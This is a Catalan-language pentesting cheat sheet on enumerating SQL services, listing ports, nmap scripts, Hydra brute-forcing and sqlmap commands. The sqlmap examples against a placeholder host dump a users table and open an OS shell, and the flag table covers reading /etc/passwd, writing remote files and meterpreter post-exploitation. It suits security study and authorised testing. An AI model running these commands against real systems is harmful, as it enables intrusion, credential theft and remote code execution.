Enumeració serveis SQL

Enumeració serveis SQL #

Objectius #

  • Identificar servei, versió i SO.
  • Descobrir mètodes d'autenticació.
  • Enumerar comptes, rols i permisos.
  • Llistar bases de dades, esquemes, taules i funcions.
  • Detectar extensions/funcions perilloses (lectura/escriptura de fitxers, execució).
  • Cercar vectors de moviment lateral (linked servers, dblink, FDW, OUTFILE…).

Ports #

SGBD Port TCP/UDP comú
MySQL / MariaDB 3306/tcp
Microsoft SQL Server (MSSQL) 1433/tcp
PostgreSQL 5432/tcp
Oracle (TNS) 1521/tcp

Scrips NSE de nmap #

Serveis scrip NSE 1
MySQL --script=mysql-info,mysql-users,mysql-variables,mysql-databases -p3306
MSSQL --script=ms-sql-info,ms-sql-ntlm-info,ms-sql-config,ms-sql-interfaces -p1433
PostgreSQL --script=pgsql-info -p5432
Oracle --script=oracle-tns-version,oracle-sid-brute -p1521

Atacs #

  • Pots provar l'autenticació amb Hydra

SQLMAP #

  • Per a formularis web vulnerables a SQL injection
  • Parametres
Param valor
-u URL URL objectiu (obligatori si no es llegeix d'exemple).
--data Dades POST (ex: --data="user=admin&pass=1").
-p PARAM Paràmetre a provar (id, user, search...).
-r FILE Fitxer amb request HTTP (curl/httpie dump).
--cookie Cookies a enviar (PHPSESSID=...).
--headers Encabezats HTTP addicionals.
-D DB Seleccionar base de dades objectiu.
-T TABLE Seleccionar taula per enumerar.
-C COLS Columnes a obtenir.
--tables Llistar taules disponibles.
--columns Llistar columnes d'una taula.
--dump Volcar dades (taula/columnes).
--dbs Llistar bases de dades.
--os-shell Intentar obrir shell OS (si possible).
--file-read Llegir fitxer del servidor (ex: /etc/passwd).
--file-write Escriure fitxer remot (ruta local -> remota).
--os-pwn Exploits post-explotació (meterpreter, webshell).
--risk / --level Ajustar risk (1–3) i level (1–5) per proves més agressives.
--technique Forçar tècniques (B: boolean, E: error, U: UNION, T: Time, S: Stacked).
--threads Threads per a velocitat (multi-hilos).
--timeout Timeout peticions.
--tamper Scripts per modificar payloads (evasió).
--proxy Usar proxy (ex: http://127.0.0.1:8080).
--tor Forçar ús de Tor.
--batch Mode no interactiu (usar valors per defecte).
--flush-session Netejar sessions guardades.
--answers Respostes predefinides per prompts complexos.

Tipus de formulari #

  • Via GET
sqlmap -u "http://victima/search.php?q=abc" --batch --random-agent
  • via POST
sqlmap -u "http://victima/login.php" --data="user=admin&pass=123" -p pass --batch

Enumerar bases de dades, taules i volcar una taula #

sqlmap -u "http://victima/item.php?id=1" --dbs
sqlmap -u "http://victima/item.php?id=1" -D targetdb --tables
sqlmap -u "http://victima/item.php?id=1" -D targetdb -T users --columns
sqlmap -u "http://victima/item.php?id=1" -D targetdb -T users --dump

Obtenir una shell #

sqlmap -u "http://victima/?id=1" --os-shell

Per passar les peticions al Burp usant el proxy #

--proxy="http://127.0.0.1:8080"